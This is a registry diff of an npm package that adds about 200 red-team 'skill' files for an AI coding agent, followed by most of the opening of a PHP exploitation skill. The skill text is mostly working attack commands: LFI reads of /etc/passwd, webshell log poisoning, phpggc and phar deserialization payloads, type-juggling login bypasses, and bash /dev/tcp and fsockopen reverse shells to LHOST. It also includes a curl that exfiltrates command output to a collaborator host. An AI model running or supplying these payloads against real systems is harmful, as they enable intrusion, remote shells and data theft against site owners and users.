rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1119 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-php
|
|
3
|
+
description: "PHP exploitation skill. Covers PHP deserialization attacks with phpggc gadget chains, LFI/RFI (Local/Remote File Inclusion), PHP filter chains for RCE without file write, PHP type juggling (loose comparison bypass), magic hash collisions, webshell upload and execution, and eval() injection. Targets PHP applications, WordPress, Laravel, CodeIgniter, Drupal."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-php — PHP Exploitation Skill
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
PHP remains one of the most deployed server-side languages on the internet, and its legacy codebases, permissive defaults, and complex type system make it a consistent source of critical vulnerabilities on engagements.
|
|
11
|
+
|
|
12
|
+
Use this skill when:
|
|
13
|
+
- Target runs a PHP application (WordPress, Laravel, Drupal, CodeIgniter, Joomla, Magento, custom apps)
|
|
14
|
+
- You have identified file inclusion parameters (`?page=`, `?file=`, `?template=`, `?lang=`)
|
|
15
|
+
- Application accepts serialized data (cookies, POST bodies, hidden fields containing base64-encoded PHP objects)
|
|
16
|
+
- You have file upload functionality with inadequate validation
|
|
17
|
+
- Login or comparison logic uses `==` instead of `===` (type juggling opportunities)
|
|
18
|
+
- You have read access to log files or `/proc/self/environ` (LFI to RCE via poisoning)
|
|
19
|
+
- You have found an `eval()`, `assert()`, `preg_replace()` with `/e` modifier, or `create_function()` call
|
|
20
|
+
- Source code review reveals unsafe deserialization with `unserialize()` on user-controlled input
|
|
21
|
+
|
|
22
|
+
### Attack Surface Map
|
|
23
|
+
|
|
24
|
+
```
|
|
25
|
+
PHP Application
|
|
26
|
+
├── Deserialization → phpggc gadget chains → RCE
|
|
27
|
+
├── File Inclusion (LFI/RFI) → Log Poisoning, PHP Filter Chains → RCE
|
|
28
|
+
├── PHP Filter Chains → RCE without file write (php://filter)
|
|
29
|
+
├── Type Juggling → Auth bypass, hash collisions
|
|
30
|
+
├── File Upload → Webshell → RCE
|
|
31
|
+
└── eval() / assert() → Direct code injection → RCE
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## 2. Prerequisites and Setup
|
|
37
|
+
|
|
38
|
+
### Required Tools
|
|
39
|
+
|
|
40
|
+
```bash
|
|
41
|
+
# phpggc — PHP Gadget Chains for unserialize() exploitation
|
|
42
|
+
git clone https://github.com/ambionics/phpggc.git
|
|
43
|
+
cd phpggc && chmod +x phpggc
|
|
44
|
+
|
|
45
|
+
# php_filter_chain_generator — RCE via PHP filter chains (no file write needed)
|
|
46
|
+
git clone https://github.com/synacktiv/php_filter_chain_generator.git
|
|
47
|
+
|
|
48
|
+
# Burp Suite or mitmproxy — intercept and replay requests
|
|
49
|
+
# ffuf or gobuster — path/parameter fuzzing
|
|
50
|
+
sudo apt install ffuf gobuster
|
|
51
|
+
|
|
52
|
+
# curl, python3 — payload delivery and listener setup
|
|
53
|
+
# pwncat-cs or netcat — reverse shell handlers
|
|
54
|
+
pip3 install pwncat-cs
|
|
55
|
+
|
|
56
|
+
# PHP CLI (local) — for serialization payload crafting
|
|
57
|
+
sudo apt install php php-cli
|
|
58
|
+
|
|
59
|
+
# wfuzz — parameter fuzzing
|
|
60
|
+
pip3 install wfuzz
|
|
61
|
+
|
|
62
|
+
# weevely — advanced PHP webshell management
|
|
63
|
+
pip3 install weevely
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Environment Variables (Set at Engagement Start)
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
export TARGET="http://target.com"
|
|
70
|
+
export LHOST="10.10.14.5" # Your VPN/tun0 IP
|
|
71
|
+
export LPORT="4444"
|
|
72
|
+
export WORDLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt"
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### Verify phpggc Installation
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
cd ~/tools/phpggc
|
|
79
|
+
./phpggc --list
|
|
80
|
+
# Should output list of gadget chains (Laravel, Symfony, Drupal, etc.)
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## 3. Skill Levels
|
|
86
|
+
|
|
87
|
+
### BEGINNER — Reconnaissance and Basic LFI
|
|
88
|
+
|
|
89
|
+
Goals: Identify PHP app, confirm LFI, read sensitive files.
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# Identify PHP via headers and extensions
|
|
93
|
+
curl -I $TARGET | grep -i "x-powered-by\|php\|server"
|
|
94
|
+
|
|
95
|
+
# Check for LFI in common parameters
|
|
96
|
+
ffuf -u "$TARGET/index.php?page=FUZZ" \
|
|
97
|
+
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
|
98
|
+
-fc 200 -fs 0 -mc all
|
|
99
|
+
|
|
100
|
+
# Basic LFI confirmation — read /etc/passwd
|
|
101
|
+
curl "$TARGET/index.php?page=../../../../etc/passwd"
|
|
102
|
+
curl "$TARGET/index.php?file=....//....//....//etc/passwd"
|
|
103
|
+
curl "$TARGET/index.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
|
|
104
|
+
|
|
105
|
+
# PHP wrappers for source disclosure
|
|
106
|
+
curl "$TARGET/index.php?page=php://filter/convert.base64-encode/resource=index.php" | \
|
|
107
|
+
grep -oP '[A-Za-z0-9+/=]{20,}' | head -1 | base64 -d
|
|
108
|
+
|
|
109
|
+
# Read /etc/hosts, /proc/self/environ, /proc/self/cmdline
|
|
110
|
+
curl "$TARGET/index.php?page=/proc/self/environ"
|
|
111
|
+
curl "$TARGET/index.php?page=/proc/self/cmdline" | tr '\0' ' '
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
### INTERMEDIATE — LFI to RCE, Filter Chains, Type Juggling
|
|
117
|
+
|
|
118
|
+
Goals: Escalate LFI to code execution, bypass authentication.
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
# Log poisoning via SSH auth log
|
|
122
|
+
# 1. Inject PHP into SSH username
|
|
123
|
+
ssh '<?php system($_GET["cmd"]); ?>'@$TARGET 2>/dev/null
|
|
124
|
+
# 2. Include the auth log
|
|
125
|
+
curl "$TARGET/index.php?page=/var/log/auth.log&cmd=id"
|
|
126
|
+
|
|
127
|
+
# Log poisoning via Apache access log
|
|
128
|
+
# 1. Inject PHP payload in User-Agent
|
|
129
|
+
curl -A '<?php system($_GET["cmd"]); ?>' $TARGET
|
|
130
|
+
# 2. Include Apache log file
|
|
131
|
+
curl "$TARGET/index.php?page=/var/log/apache2/access.log&cmd=id"
|
|
132
|
+
curl "$TARGET/index.php?page=/proc/self/fd/1&cmd=id" # try fd/0 through fd/20
|
|
133
|
+
|
|
134
|
+
# PHP filter chain RCE (no file write needed)
|
|
135
|
+
cd ~/tools/php_filter_chain_generator
|
|
136
|
+
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
|
|
137
|
+
# Copy the generated filter chain, then:
|
|
138
|
+
curl "$TARGET/index.php?page=<FILTER_CHAIN_OUTPUT>&cmd=id"
|
|
139
|
+
|
|
140
|
+
# Type juggling — bypass loose string comparison
|
|
141
|
+
# "0e" magic hashes — MD5 collisions treated as 0 in scientific notation
|
|
142
|
+
# If app does: if (md5($input) == "0e...") → pass any 0e hash value
|
|
143
|
+
# Known magic hashes (MD5):
|
|
144
|
+
# 240610708 → 0e462097431906509019562988736854
|
|
145
|
+
# QNKCDZO → 0e830400451993494058024219903391
|
|
146
|
+
# aabg74fxm05 → 0e545993274517709034328855841020
|
|
147
|
+
curl -d "password=240610708" "$TARGET/login.php"
|
|
148
|
+
|
|
149
|
+
# SHA1 magic hashes:
|
|
150
|
+
# aaroZmOk → 0e66507019969427134894567494305185566735
|
|
151
|
+
# aaK1STfY → 0e76658526655756207688271159624026011393
|
|
152
|
+
|
|
153
|
+
# Array bypass for hash_equals / strcmp
|
|
154
|
+
curl -d "password[]=anything" "$TARGET/login.php"
|
|
155
|
+
# strcmp(array, string) returns NULL which == 0 → true in loose comparison
|
|
156
|
+
|
|
157
|
+
# JSON type juggling — if JSON decoded and compared loosely
|
|
158
|
+
# {"password": true} → true == "anystring" is true in PHP
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
---
|
|
162
|
+
|
|
163
|
+
### ADVANCED — Deserialization with phpggc, Phar Archives
|
|
164
|
+
|
|
165
|
+
Goals: Achieve RCE via object injection and gadget chains.
|
|
166
|
+
|
|
167
|
+
```bash
|
|
168
|
+
# List available gadget chains
|
|
169
|
+
./phpggc --list
|
|
170
|
+
./phpggc --list | grep -i "laravel\|symfony\|drupal\|wordpress"
|
|
171
|
+
|
|
172
|
+
# Generate a deserialization payload — raw serialized object
|
|
173
|
+
./phpggc Laravel/RCE1 system id
|
|
174
|
+
|
|
175
|
+
# Generate base64-encoded payload
|
|
176
|
+
./phpggc -b Laravel/RCE1 system 'id'
|
|
177
|
+
|
|
178
|
+
# Generate URL-encoded payload
|
|
179
|
+
./phpggc -u Laravel/RCE1 system 'id'
|
|
180
|
+
|
|
181
|
+
# Generate payload for reverse shell
|
|
182
|
+
./phpggc -b Laravel/RCE6 system \
|
|
183
|
+
"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
|
|
184
|
+
|
|
185
|
+
# Inject into cookie
|
|
186
|
+
PAYLOAD=$(./phpggc -b Laravel/RCE1 system 'id')
|
|
187
|
+
curl -b "laravel_session=$PAYLOAD" $TARGET/dashboard
|
|
188
|
+
|
|
189
|
+
# Inject into POST body
|
|
190
|
+
curl -d "data=$(./phpggc -u Symfony/RCE4 system 'whoami')" $TARGET/api/endpoint
|
|
191
|
+
|
|
192
|
+
# Phar deserialization — trigger unserialize via file operations
|
|
193
|
+
# Requires: file upload + any file operation on uploaded file (file_exists, is_file, etc.)
|
|
194
|
+
|
|
195
|
+
# 1. Create malicious phar archive
|
|
196
|
+
cat > create_phar.php << 'EOF'
|
|
197
|
+
<?php
|
|
198
|
+
class EvilClass {
|
|
199
|
+
public $cmd = "id";
|
|
200
|
+
function __destruct() {
|
|
201
|
+
system($this->cmd);
|
|
202
|
+
}
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
$phar = new Phar("evil.phar");
|
|
206
|
+
$phar->startBuffering();
|
|
207
|
+
$phar->addFromString("test.txt", "test");
|
|
208
|
+
$phar->setStub("<?php __HALT_COMPILER(); ?>");
|
|
209
|
+
$o = new EvilClass();
|
|
210
|
+
$o->cmd = "bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'";
|
|
211
|
+
$phar->setMetadata($o);
|
|
212
|
+
$phar->stopBuffering();
|
|
213
|
+
rename("evil.phar", "evil.jpg"); // Disguise as image
|
|
214
|
+
EOF
|
|
215
|
+
php create_phar.php
|
|
216
|
+
|
|
217
|
+
# 2. Upload evil.jpg to target
|
|
218
|
+
curl -F "file=@evil.jpg" $TARGET/upload.php
|
|
219
|
+
|
|
220
|
+
# 3. Trigger phar deserialization via any file function
|
|
221
|
+
curl "$TARGET/check.php?file=phar:///var/www/html/uploads/evil.jpg"
|
|
222
|
+
|
|
223
|
+
# WordPress-specific deserialization
|
|
224
|
+
./phpggc WordPress/RCE1 system 'whoami'
|
|
225
|
+
./phpggc -b WordPress/RCE2 system 'id'
|
|
226
|
+
|
|
227
|
+
# Drupal deserialization (SA-CORE-2019-003 style)
|
|
228
|
+
./phpggc -b Drupal7/RCE1 system 'id'
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
### EXPERT — Chained Exploits, Blind Techniques, Framework Internals
|
|
234
|
+
|
|
235
|
+
Goals: Exploit without direct output, chain multiple vulnerabilities, bypass WAF.
|
|
236
|
+
|
|
237
|
+
```bash
|
|
238
|
+
# Blind RCE via DNS exfiltration (no output in response)
|
|
239
|
+
./phpggc -b Laravel/RCE6 system \
|
|
240
|
+
"curl http://\$(id | tr ' ' '_').burpcollaborator.net"
|
|
241
|
+
|
|
242
|
+
# Blind RCE via time delay
|
|
243
|
+
./phpggc -b Laravel/RCE6 system "sleep 5"
|
|
244
|
+
# Measure response time difference
|
|
245
|
+
|
|
246
|
+
# PHP filter chain — generate RCE payload for specific PHP version compatibility
|
|
247
|
+
python3 php_filter_chain_generator.py \
|
|
248
|
+
--chain '<?php $sock=fsockopen("'"$LHOST"'",'"$LPORT"');exec("/bin/sh -i <&3 >&3 2>&3");?>'
|
|
249
|
+
|
|
250
|
+
# Multi-wrapper LFI bypass techniques
|
|
